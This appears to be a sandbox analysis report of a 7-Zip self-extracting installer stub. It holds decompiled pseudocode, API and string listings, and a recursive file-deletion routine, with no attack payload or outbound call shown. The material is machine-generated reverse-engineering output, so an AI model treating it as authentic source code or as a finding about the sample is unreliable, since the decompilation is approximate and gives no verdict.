											goto L21;
										} else {
											_t703 = 0x4f3c;
											goto L11;
										}
									}
									L21:
									_push(0x64);
									goto L22;
								} else {
									_t703 = 1;
									__eflags = 1;
									_push(6);
									_push(1);
									E00409684(_t635);
									L18:
									goto L11;
								}
							} else {
								_t703 = E00401FAC(_t239, _t684);
								goto L11;
							}
						} else {
							E00405CA1(L"sfxversion", _t684, _t736);
							L10:
							_t703 = 0;
							L11:
							_push( *(_t720 - 8));
							L0041C160();
							_push( *((intOrPtr*)(_t720 - 0x48)));
							L0041C160();
							_push( *((intOrPtr*)(_t720 + 0x24)));
							L0041C160();
							_t218 = _t703;
							L216:
							return _t218;
						}
					} else {
						_t445 = _t237 + 2;
						__imp___wtol(_t445);
						_t16 = _t445 - 1; // -1
						if(_t16 <= 0xfffe) {
							 *0x422730 = _t445;
						}
						do {
							_t684 = _t684 + 2;
						} while ( *_t684 > 0x20);
						goto L8;
					}
				}
			}

0x00406024
0x00406025
0x00406029
0x00406037
0x0040603e
0x0040604a
0x0040605c
0x00406ff3
0x00407001
0x00407009
0x00000000
0x0040606f
0x0040606f
0x00406076
0x00000000
0x00000000
0x0040607f
0x00406086
0x0040609d
0x004060a2
0x004060bd
0x004060c5
0x004060ca
0x004060db
0x004060ed
0x004060fc
0x00406119
0x0040611f
0x00406125
0x00406133
0x0040613f
0x00406146
0x00406173
0x0040617a
0x0040617f
0x00406181
0x004061b3
0x004061b8
0x004061ba
0x004061c7
0x004061ce
0x004061d2
0x004061d7
0x004061d9
0x004061db
0x004061df
0x004061df
0x004061f7
0x004061fd
0x004061ff
0x00406215
0x0040621a
0x00406226
0x00406228
0x0040622a
0x004063bb
0x004063c6
0x004063d3
0x004063da
0x004063df
0x004063e1
0x004063e7
0x004063ed
0x004063f7
0x004063fb
0x00406400
0x00406407
0x0040640c
0x00406411
0x0040641d
0x00406426
0x0040642b
0x0040642d
0x0040642f
0x00406435
0x00406437
0x0040643c
0x0040643c
0x00406448
0x0040644f
0x00406458
0x0040645d
0x00406462
0x00406468
0x0040646d
0x00406473
0x00406473
0x00406483
0x0040648e
0x00406495
0x0040649a
0x0040649c
0x004064c4
0x004064c9
0x004064d3
0x004064d5
0x004064da
0x004064dc
0x004064de
0x004064ed
0x004064f4
0x00406563
0x00406563
0x0040656a
0x00406931
0x00406931
0x00406934
0x00000000
0x00406939
0x00406570
0x00406575
0x004065ad
0x004065ad
0x004065af
0x00000000
0x00000000
0x00406589
0x00406591
0x0040659b
0x004065a3
0x004065a8
0x004065a8
0x004065ab
0x004065ab
0x004065b2
0x004065b4
0x004065b9
0x004065be
0x004065c1
0x004065c3
0x004065d5
0x004065e6
0x004065e8
0x004065ea
0x004066d4
0x004066e0
0x004066e5
0x004066f0
0x004066f5
0x004066fc
0x00406701
0x00406706
0x0040670b
0x0040670f
0x0040684c
0x0040684c
0x00406859
0x004068ab
0x004068ab
0x004068ad
0x004068af
0x00000000
0x00000000
0x00406866
0x00406870
0x00406871
0x00406876
0x00406878
0x004068b3
0x004068b6
0x004068bc
0x004068bc
0x004068c1
0x004068c8
0x004068ca
0x004068ca
0x004068d0
0x004068d6
0x0040693f
0x00406945
0x00406947
0x00406947
0x00406947
0x00406952
0x0040695f
0x00406969
0x0040696b
0x00406970
0x00406975
0x00406975
0x0040697e
0x0040698a
0x0040698f
0x00406991
0x00406994
0x0040699b
0x0040699b
0x004069a0
0x004069a6
0x004069b4
0x004069bb
0x004069c4
0x004069d2
0x004069d7
0x004069e5
0x004069ef
0x004069f1
0x004069f3
0x004069fa
0x004069fe
0x00406a03
0x00406a10
0x00406a15
0x00406a1e
0x00406a25
0x00406a2a
0x00406a38
0x00406a3d
0x00406a40
0x00406a45
0x004069fa
0x00406a4b
0x00406a50
0x00406a57
0x00406a5c
0x00406a5e
0x00000000
0x00000000
0x00406a60
0x00406a67
0x00000000
0x00000000
0x00406a69
0x00406a71
0x00406a76
0x00406a78
0x00406bb8
0x00406bbb
0x00406bc0
0x00406bc1
0x00000000
0x00406bc1
0x00406a80
0x00406a8b
0x00406a8e
0x00406a90
0x00406a90
0x00406a99
0x00406aa0
0x00406aa2
0x00406aa2
0x00406aa2
0x00406aac
0x00406aaf
0x00406ab4
0x00406abb
0x00406b1f
0x00406b1f
0x00406b23
0x00406b27
0x00406b32
0x00406b37
0x00406b39
0x00406b3f
0x00406b44
0x00406b44
0x00406b48
0x00406b4c
0x00406b57
0x00406b5c
0x00406b5e
0x00406b64
0x00406b64
0x00406b5e
0x00406b4c
0x00406b69
0x00406b70
0x00406bfe
0x00406bfe
0x00406c05
0x00406c39
0x00406c41
0x00406c46
0x00406c4a
0x00406c52
0x00406c52
0x00406c57
0x00406c5a
0x00406c61
0x00406c07
0x00406c1a
0x00406c1f
0x00406c22
0x00406c27
0x00406c27
0x00406c66
0x00406c6c
0x00406c72
0x00406c72
0x00406c77
0x00406c7a
0x00406c81
0x00406c81
0x00406c82
0x00406c84
0x00406c8a
0x00000000
0x00406c7c
0x00406c7c
0x00406c7f
0x00406c8e
0x00406c8e
0x00406c95
0x00406c97
0x00406c97
0x00406c97
0x00406ca7
0x00406cac
0x00406cb8
0x00406cc0
0x00406cc2
0x00406cc7
0x00406cc9
0x00406ccb
0x00406cd2
0x00406cd6
0x00406cdb
0x00406ce8
0x00406ced
0x00406cf6
0x00406cfb
0x00406d02
0x00406d05
0x00406d0a
0x00406d1a
0x00406d1f
0x00406d22
0x00406d27
0x00406cd2
0x00406d28
0x00406d2f
0x00406d3d
0x00406d42
0x00406d44
0x00000000
0x00000000
0x00406d46
0x00000000
0x00406d31
0x00406d36
0x00406d4b
0x00406d4b
0x00406d4d
0x00406d76
0x00406d76
0x00406d7b
0x00406d82
0x00406d91
0x00406d9c
0x00406da1
0x00406da8
0x00406dad
0x00406dad
0x00406db2
0x00406db4
0x00406db7
0x00406e83
0x00406e96
0x00000000
0x00406dbd
0x00406dbd
0x00406dc3
0x00406e9b
0x00406e9b
0x00406ea1
0x00406ea3
0x00406eba
0x00406ec5
0x00406edd
0x00406ee2
0x00406ee2
0x00406ee7
0x00406eea
0x00406eef
0x00406ef2
0x00406efd
0x00406efd
0x00406f04
0x00406f19
0x00406f19
0x00406f1f
0x00406f2d
0x00406f2f
0x00406f31
0x00406f38
0x00406f3e
0x00406f40
0x00406f40
0x00406f4b
0x00406f60
0x00406f6a
0x00406f7c
0x00406f7c
0x00406f31
0x00406f81
0x00406f81
0x00406f88
0x00406f8a
0x00406f90
0x00406f99
0x00406f9e
0x00406fa0
0x00406fa2
0x00406fa6
0x00406fb2
0x00406fb7
0x00406fb7
0x00406fa6
0x00406fa0
0x00406f90
0x00406fbc
0x00406fbf
0x00406fc4
0x00406fc7
0x00406fcc
0x00406fcf
0x00406fd4
0x00406fd7
0x00406fdc
0x00406fdf
0x00406fe4
0x00406fe7
0x00406fef
0x00000000
0x00406fef
0x00406f06
0x00406f0d
0x00000000
0x00000000
0x00406f0f
0x00000000
0x00406f0f
0x00406dc9
0x00406de1
0x00406df0
0x00406df5
0x00406df8
0x00406dfd
0x00406e00
0x00406e0a
0x00406e10
0x00406e13
0x00406e52
0x00406e5c
0x00406e70
0x00406e75
0x00406e78
0x00000000
0x00406e7d
0x00406e15
0x00406e1a
0x00406e1c
0x00406e1d
0x00406e22
0x00406e25
0x00406e2a
0x00406e2d
0x00406e32
0x00406e35
0x00406e3a
0x00406e3d
0x00406e42
0x00406e45
0x00406e4a
0x00406295
0x00406295
0x00000000
0x00406295
0x00406db7
0x00406d84
0x00406d8b
0x00406efb
0x00406efb
0x00000000
0x00406efb
0x00000000
0x00406d8b
0x00406d4f
0x00406d54
0x00406d57
0x00406d5c
0x00406d5f
0x00406d64
0x00406d67
0x00406d6c
0x00406d6f
0x00000000
0x00406d6f
0x00406d2f
0x00000000
0x00406c7f
0x00406b76
0x00406b76
0x00406b7d
0x00000000
0x00000000
0x00406b7f
0x00406b89
0x00406b8b
0x00000000
0x00000000
0x00406b8d
0x00406b93
0x00406b99
0x00406b9e
0x00406ba0
0x00000000
0x00000000
0x00406ba2
0x00406ba5
0x00406bab
0x00406bee
0x00406bf3
0x00406bf6
0x00000000
0x00406bfb
0x00406bad
0x00000000
0x00406bb2
0x00406b70
0x00406abd
0x00406ac3
0x00406acb
0x00406ad7
0x00406ae1
0x00406ae6
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00406af1
0x00406af4
0x00406af7
0x00406afe
0x00406afe
0x00406b01
0x00406b08
0x00406b08
0x00406b0b
0x00406b12
0x00406b1a
0x00000000
0x00406b1a
0x00406b0d
0x00406b10
0x00000000
0x00000000
0x00000000
0x00406b10
0x00406b03
0x00406b06
0x00000000
0x00000000
0x00000000
0x00406b06
0x00406af9
0x00406afc
0x00000000
0x00000000
0x00000000
0x00406afc
0x00406bcf
0x00406bd4
0x00406bd7
0x00406bdc
0x00406bdf
0x00406be4
0x00406be7
0x00000000
0x00406be7
0x00406a50
0x004069bd
0x00000000
0x004069a8
0x004069a8
0x004069ad
0x004069ad
0x00000000
0x004069ad
0x004068d8
0x004068df
0x004068e4
0x004068e6
0x004068e8
0x004068ec
0x004068f2
0x004068f2
0x004068fa
0x00406910
0x0040691a
0x0040692c
0x00000000
0x0040692c
0x004068d6
0x0040687d
0x00406884
0x0040688c
0x00406890
0x00406895
0x00406898
0x00406898
0x00406898
0x0040689b
0x004068a6
0x004068a6
0x00000000
0x004068b1
0x00406715
0x0040671c
0x00000000
0x00000000
0x00406722
0x00406727
0x00406729
0x00000000
0x00000000
0x0040673a
0x00406753
0x00406790
0x004067a9
0x004067ae
0x004067b1
0x004067b6
0x004067b9
0x004067be
0x004067c4
0x004067c9
0x004067cc
0x004067d1
0x004067d4
0x004067d9
0x004067e7
0x004067f0
0x004067f3
0x004067f4
0x004067f9
0x004067fc
0x004067fe
0x00406827
0x0040682c
0x0040682f
0x00406834
0x00406837
0x0040683c
0x0040683f
0x00406844
0x00000000
0x00406844
0x00406800
0x00406805
0x00406808
0x0040680d
0x00406810
0x00406815
0x00406818
0x0040681d
0x00406820
0x00000000
0x00406820
0x004065f6
0x0040660d
0x0040661e
0x00406625
0x00406631
0x00406631
0x00406633
0x00406634
0x00406634
0x00406636
0x00406636
0x00406644
0x00406646
0x00406647
0x00406647
0x0040664c
0x0040664e
0x0040664e
0x00406650
0x00406652
0x00406653
0x0040665b
0x00406665
0x00406665
0x0040666b
0x00406671
0x00406671
0x00406671
0x00406674
0x00406677
0x00406679
0x0040667f
0x00406680
0x00406681
0x00406683
0x00406685
0x00406689
0x0040668a
0x00406692
0x00406692
0x00406692
0x00406685
0x0040669c
0x004066a4
0x004066a7
0x004066a8
0x004066a8
0x004066ad
0x004066af
0x004066c3
0x004066c8
0x004066cf
0x00000000
0x004066cf
0x004065c5
0x004065c8
0x004065ce
0x00000000
0x004065ce
0x004064f6
0x004064fd
0x00406502
0x00406504
0x00000000
0x00000000
0x00406506
0x0040650a
0x0040650c
0x0040650c
0x0040650c
0x0040650f
0x00406512
0x00406515
0x00000000
0x0040651b
0x0040651b
0x0040651b
0x0040651f
0x00000000
0x00000000
0x00406521
0x00406524
0x00406527
0x0040652a
0x00000000
0x00000000
0x00000000
0x0040652a
0x0040652c
0x00406530
0x00000000
0x00000000
0x00406536
0x0040653b
0x00406540
0x00406542
0x00000000
0x00000000
0x00406548
0x0040654a
0x0040654c
0x00406551
0x00406554
0x00406559
0x0040655c
0x00000000
0x0040655c
0x00406515
0x004064e0
0x004064e0
0x004064e3
0x00000000
0x0040649e
0x004064a8
0x004064ad
0x004064b0
0x00406238
0x00406238
0x00000000
0x00406238
0x0040649c
0x00406230
0x00406234
0x0040623e
0x00406246
0x00406249
0x00406249
0x0040624c
0x00406350
0x0040635f
0x0040635f
0x0040635f
0x00406362
0x00000000
0x00000000
0x0040635c
0x0040635c
0x0040635c
0x00406364
0x0040636b
0x0040636d
0x00406372
0x00406374
0x00000000
0x00000000
0x00406376
0x0040637a
0x00406387
0x00406387
0x0040638a
0x0040638d
0x0040637e
0x00406382
0x00000000
0x00000000
0x00406384
0x00406384
0x00406384
0x00000000
0x00406384
0x0040638f
0x00406392
0x00406398
0x0040639b
0x004063a0
0x004063a5
0x004063ac
0x004063ae
0x004063b6
0x004063b6
0x00000000
0x004063ae
0x00000000
0x0040637c
0x00406253
0x00406253
0x00406254
0x0040633e
0x00406349
0x00000000
0x00406349
0x0040625a
0x0040625a
0x0040625b
0x004062b9
0x004062bc
0x004062fb
0x004062fb
0x004062fe
0x004062fe
0x00406305
0x00406309
0x00406326
0x00406326
0x00406330
0x00406330
0x00000000
0x00406330
0x0040630b
0x0040630b
0x0040630f
0x00406316
0x0040631b
0x00406320
0x00000000
0x00000000
0x00406322
0x00406324
0x00000000
0x00000000
0x00000000
0x00406324
0x004062be
0x004062c3
0x00000000
0x00000000
0x004062c9
0x004062e5
0x004062e5
0x004062e8
0x004062eb
0x00000000
0x00000000
0x004062ce
0x004062d2
0x00000000
0x00000000
0x004062dd
0x004062e2
0x004062e2
0x004062e2
0x004062ed
0x004062f4
0x00000000
0x00000000
0x00000000
0x004062f6
0x0040625d
0x0040625d
0x00406260
0x00406271
0x00406276
0x00000000
0x00000000
0x00406280
0x00406280
0x00406283
0x004062b3
0x00000000
0x004062b3
0x00406285
0x00406285
0x00406286
0x004062a7
0x00000000
0x004062a7
0x00406288
0x00406288
0x00406289
0x004062a3
0x00000000
0x004062a3
0x0040628b
0x0040628b
0x0040628c
0x00406299
0x00000000
0x00406299
0x0040628e
0x0040628f
0x00000000
0x00000000
0x00000000
0x0040628f
0x00406262
0x00406265
0x00000000
0x00406267
0x00406267
0x00000000
0x00406267
0x00406265
0x00406236
0x00406236
0x00000000
0x00406201
0x00406203
0x00406203
0x00406204
0x00406206
0x00406207
0x0040620d
0x00000000
0x0040620d
0x004061bc
0x004061c3
0x00000000
0x004061c3
0x00406183
0x00406183
0x00406188
0x00406188
0x0040618a
0x0040618a
0x0040618d
0x00406192
0x00406195
0x0040619a
0x0040619d
0x004061a5
0x0040700a
0x00407011
0x00407011
0x0040614e
0x0040614e
0x00406152
0x00406159
0x00406162
0x00406164
0x00406164
0x0040616a
0x0040616a
0x0040616d
0x00000000
0x0040616a
0x00406146

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00406037

Part of subcall function 00403834: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 00403840
Part of subcall function 00403834: CreateWindowExW.USER32 ref: 0040385D
Part of subcall function 00403834: GetDesktopWindow.USER32 ref: 00403869
Part of subcall function 00403834: GetWindowRect.USER32 ref: 00403870
Part of subcall function 00403834: SetWindowPos.USER32(00000000,00000000,?,00406043,00000000,00000000,00000004), ref: 00403894
Part of subcall function 00403834: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 004038A4
Part of subcall function 00403834: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004038B1
Part of subcall function 00403834: DispatchMessageW.USER32 ref: 004038BB
Part of subcall function 00403834: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 004038C4

GetVersionExW.KERNEL32(?,?,00000000), ref: 00406054
MessageBoxA.USER32 ref: 00407001

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040541A: LoadLibraryA.KERNEL32(kernel32,?,?,00000000), ref: 0040542B
Part of subcall function 0040541A: #17.COMCTL32(?,?,00000000), ref: 00405436
Part of subcall function 0040541A: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,00000000), ref: 004054BB
Part of subcall function 0040541A: wsprintfW.USER32 ref: 004054CF

GetCommandLineW.KERNEL32(?,00000000), ref: 004060AD

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 004045F1
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 0040460D
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 00404615
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 00404680

Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD0
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD9
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FE1

GetCommandLineW.KERNEL32(00000001,00000001,00000001,00000000,?,00000000), ref: 004060F3

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

wsprintfW.USER32 ref: 00406119

Part of subcall function 004056BA: lstrlenW.KERNEL32(sfxlang,?,73B749F0,?,00000001,00406144,00000001), ref: 004056FB
Part of subcall function 004056BA: lstrlenW.KERNEL32(sfxlang), ref: 00405700

_wtol.MSVCRT(-00000002,00000001), ref: 00406152
??3@YAXPAX@Z.MSVCRT ref: 0040618D
??3@YAXPAX@Z.MSVCRT ref: 00406195
??3@YAXPAX@Z.MSVCRT ref: 0040619D
GetModuleFileNameW.KERNEL32(00000000,00000000,00000208,00000208,00000001), ref: 004061F7
_wtol.MSVCRT(-00000002), ref: 0040630F

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

Part of subcall function 00405319: ??3@YAXPAX@Z.MSVCRT ref: 0040535D

??3@YAXPAX@Z.MSVCRT ref: 004064E3
??3@YAXPAX@Z.MSVCRT ref: 00406554

Strings

sfxwaitall, xrefs: 004061AC
BeginPromptTimeout, xrefs: 00406985
sfxlang, xrefs: 00406138
D(B, xrefs: 004063BB
RunProgram, xrefs: 00406B4E, 00406B60
SfxVarSystemLanguage, xrefs: 0040612E
P(B, xrefs: 0040647E
SfxVarApiPath, xrefs: 004069CD, 00406A0B, 00406CE3
setup.exe, xrefs: 00406DC9, 00406DCE, 00406E58
h(B, xrefs: 004069EA
BeginPrompt, xrefs: 00406A52
\(B, xrefs: 00406441
AutoInstall, xrefs: 00406AC3, 00406B12
PreExtract, xrefs: 00406C9E, 00406CA3
7ZipSfx.%03x, xrefs: 00406C07
SfxVarModulePlatform, xrefs: 004060D6
sfxtest, xrefs: 0040621A
InstallPath, xrefs: 0040695A
sfxelevation, xrefs: 004061C7, 00406758
sfxconfig, xrefs: 00406364, 004064F6
Delete, xrefs: 00406ED3
FinishMessage, xrefs: 00406F23
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 00406626
sfxversion, xrefs: 00406173
HelpText, xrefs: 004068DA
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 00406FFA
X!B, xrefs: 00406575
ExecuteOnLoad, xrefs: 004069DC
SelfDelete, xrefs: 00406F94
SfxVarSystemPlatform, xrefs: 004060E8
D(B, xrefs: 004061E7
7-Zip SFX, xrefs: 00406FF5
SfxString%d, xrefs: 00406583
SfxAuthor, xrefs: 004065DC
Shortcut, xrefs: 00406EB0
ExecuteFile, xrefs: 00406B29, 00406B3B
SetEnvironment, xrefs: 0040684F
SfxVarCmdLine0, xrefs: 004060F7
" -, xrefs: 0040675D
x86, xrefs: 004060D1

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$Window$??2@Message$CommandLineModuleTimer_wtollstrlenwsprintf$?_set_new_handler@@CreateDesktopDispatchFileFolderHandleKillLibraryLoadNamePathRectSpecialVersionmemcpywcsncpy
String ID: " -$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$AutoInstall$BeginPrompt$BeginPromptTimeout$D(B$D(B$Delete$ExecuteFile$ExecuteOnLoad$FinishMessage$HelpText$InstallPath$P(B$PreExtract$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$SfxString%d$SfxVarApiPath$SfxVarCmdLine0$SfxVarModulePlatform$SfxVarSystemLanguage$SfxVarSystemPlatform$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$X!B$\(B$h(B$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxtest$sfxversion$sfxwaitall$x86
API String ID: 15977253-1531357413
Opcode ID: 4cfe7914999c83cdfae56ae628e5975d8e96e37cc82df186b60976c0a51257c0
Instruction ID: a556a6a5a5f07645b6d0a54752984156d57e7a988d3b1907c5a6a98372b60f7b
Opcode Fuzzy Hash: 4cfe7914999c83cdfae56ae628e5975d8e96e37cc82df186b60976c0a51257c0
Instruction Fuzzy Hash: 0C92F470A00215ABDB24BB61DD41BAE3661EF80708F55403FF906B62E2DBBC9C95CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403327, Relevance: 18.1, APIs: 12, Instructions: 91
filestringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00403327(WCHAR* __ecx, void* __edx, void* __eflags) {
				WCHAR* _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				void* _t26;
				int _t28;
				int _t29;
				int _t30;
				int _t36;
				int _t37;
				int _t39;
				int _t44;
				WCHAR* _t45;
				void* _t54;

				_t54 = __edx;
				_t45 = __ecx;
				E00414803( &_v16, __ecx);
				E00414922( &_v16, 0x41dbcc);
				_t26 = FindFirstFileW(_v16,  &_v612); // executed
				_v20 = _t26;
				if(_t26 == 0xffffffff) {
					L11:
					SetCurrentDirectoryW( *0x422794);
					_t28 = SetFileAttributesW(_t45, 0); // executed
					if(_t28 == 0) {
						goto L14;
					} else {
						_t30 = RemoveDirectoryW(_t45); // executed
						if(_t30 == 0) {
							goto L14;
						} else {
							_push(_v16);
							L0041C160();
							_t29 = 1;
						}
					}
				} else {
					do {
						E00414864( &_v16, _t45);
						E00401585( &_v16, 0x5c);
						E00414922( &_v16,  &(_v612.cFileName));
						if((_v612.dwFileAttributes & 0x00000010) == 0) {
							_t36 = SetFileAttributesW(_v16, 0); // executed
							__eflags = _t36;
							if(_t36 == 0) {
								goto L14;
							} else {
								_t37 = DeleteFileW(_v16); // executed
								goto L8;
							}
						} else {
							if(lstrcmpW( &(_v612.cFileName), 0x41dbc8) == 0) {
								goto L9;
							} else {
								_t44 = lstrcmpW( &(_v612.cFileName), 0x41dbc0);
								_t61 = _t44;
								if(_t44 == 0) {
									goto L9;
								} else {
									_t37 = E00403327(_v16, _t54, _t61);
									L8:
									if(_t37 == 0) {
										L14:
										_push(_v16);
										L0041C160();
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L9;
									}
								}
							}
						}
						goto L15;
						L9:
						_t39 = FindNextFileW(_v20,  &_v612); // executed
					} while (_t39 != 0);
					FindClose(_v20);
					goto L11;
				}
				L15:
				return _t29;
			}

0x00403327
0x00403332
0x00403339
0x00403346
0x00403355
0x00403361
0x00403367
0x00403405
0x0040340b
0x00403414
0x00403418
0x00000000
0x0040341a
0x0040341b
0x00403423
0x00000000
0x00403425
0x00403425
0x00403428
0x0040342f
0x0040342f
0x00403423
0x0040336d
0x00403373
0x00403377
0x00403381
0x00403390
0x0040339c
0x004033d1
0x004033d3
0x004033d5
0x00000000
0x004033d7
0x004033da
0x00000000
0x004033da
0x0040339e
0x004033ae
0x00000000
0x004033b0
0x004033bc
0x004033be
0x004033c0
0x00000000
0x004033c2
0x004033c5
0x004033e0
0x004033e2
0x00403432
0x00403432
0x00403435
0x0040343a
0x0040343a
0x00000000
0x00000000
0x00000000
0x004033e2
0x004033c0
0x004033ae
0x00000000
0x004033e4
0x004033ee
0x004033f4
0x004033ff
0x00000000
0x004033ff
0x0040343c
0x00403441

APIs

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

FindFirstFileW.KERNELBASE(?,?,0041DBCC,?,00000000,?,00000000), ref: 00403355
lstrcmpW.KERNEL32(?,0041DBC8,?,0000005C,?), ref: 004033AA
lstrcmpW.KERNEL32(?,0041DBC0), ref: 004033BC
SetFileAttributesW.KERNELBASE(?,00000000,?,0000005C,?), ref: 004033D1
DeleteFileW.KERNELBASE(?), ref: 004033DA
FindNextFileW.KERNELBASE(?,00000010), ref: 004033EE
FindClose.KERNEL32(?), ref: 004033FF
SetCurrentDirectoryW.KERNEL32 ref: 0040340B
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00403414
RemoveDirectoryW.KERNELBASE(?), ref: 0040341B
??3@YAXPAX@Z.MSVCRT ref: 00403428

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

??3@YAXPAX@Z.MSVCRT ref: 00403435

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: File$??3@Findmemcpy$AttributesDirectorylstrcmp$??2@CloseCurrentDeleteFirstNextRemove
String ID:
API String ID: 1254520193-0
Opcode ID: 4612c2d3c06a1c6854ea9d6cb16b41d3cebbf2c56a804a26a7d40885b9bf0cb1
Instruction ID: 3c0acd77c11c6bfbf9789e5db0a8688aa55c6e9eafbf1e7d600da6e85a924ae8
Opcode Fuzzy Hash: 4612c2d3c06a1c6854ea9d6cb16b41d3cebbf2c56a804a26a7d40885b9bf0cb1
Instruction Fuzzy Hash: 0531A271D00119BADB10AFA1ED85EEF7B7CAF00701F1045B6A412B20E1EB799E00CA18

Uniqueness

Uniqueness Score: -1.00%

Function 00404402, Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404402(WCHAR* __ecx, FILETIME* __edx) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t7;
				signed int _t8;
				intOrPtr _t9;
				FILETIME* _t20;

				_t20 = __edx; // executed
				_t7 = FindFirstFileW(__ecx,  &_v596); // executed
				if(_t7 != 0xffffffff) {
					_t8 = FindClose(_t7); // executed
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						_t9 =  *0x422778; // 0x2
						if(_t9 != 0) {
							if(_t9 != 2 || CompareFileTime( &(_v596.ftLastWriteTime), _t20) >= 0) {
								return 1;
							} else {
								goto L5;
							}
						}
						L5:
						return E004043D5();
					}
					SetLastError(0x10);
					return _t8 | 0xffffffff;
				}
				return 0;
			}

0x00404417
0x00404419
0x00404422
0x00404429
0x00404436
0x00404445
0x0040444c
0x0040445a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040445a
0x0040444e
0x00000000
0x00404450
0x0040443a
0x00000000
0x00404440
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,-00000001), ref: 00404419
FindClose.KERNELBASE(00000000), ref: 00404429
SetLastError.KERNEL32(00000010), ref: 0040443A

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 1dd38c34050e32057a86cfd6f887252e6440109f0c7138c7ef1928e7de9965fb
Instruction ID: e28eadc660d29d22e42b67850f94827f0221515ef145fc3d082d2b957231e6be
Opcode Fuzzy Hash: 1dd38c34050e32057a86cfd6f887252e6440109f0c7138c7ef1928e7de9965fb
Instruction Fuzzy Hash: CEF0A4F5A0012467DB2027349C4CFAA37ACABC1329F204676EA52F25D0D778C942961E

Uniqueness

Uniqueness Score: -1.00%

Function 00403442, Relevance: 6.0, APIs: 4, Instructions: 35
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403442(WCHAR* __ecx) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t5;
				void* _t9;
				int _t10;
				void* _t15;
				WCHAR* _t16;

				_t16 = __ecx;
				if( *0x4228d8 == 0) {
					_t5 = FindFirstFileW(__ecx,  &_v596); // executed
					__eflags = _t5 - 0xffffffff;
					if(_t5 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t5);
					__eflags = _v596.dwFileAttributes & 0x00000010;
					if(__eflags != 0) {
						_t9 = E00403327(_t16, _t15, __eflags); // executed
						return _t9;
					}
					_t10 = SetFileAttributesW(_t16, 0);
					__eflags = _t10;
					if(_t10 == 0) {
						return 0;
					}
					return DeleteFileW(_t16);
				}
				L1:
				return 1;
			}

0x00403453
0x00403455
0x00403464
0x0040346a
0x0040346d
0x00000000
0x00000000
0x00403470
0x00403476
0x0040347d
0x0040349b
0x00000000
0x0040349b
0x00403482
0x00403488
0x0040348a
0x00000000
0x00403495
0x00000000
0x0040348d
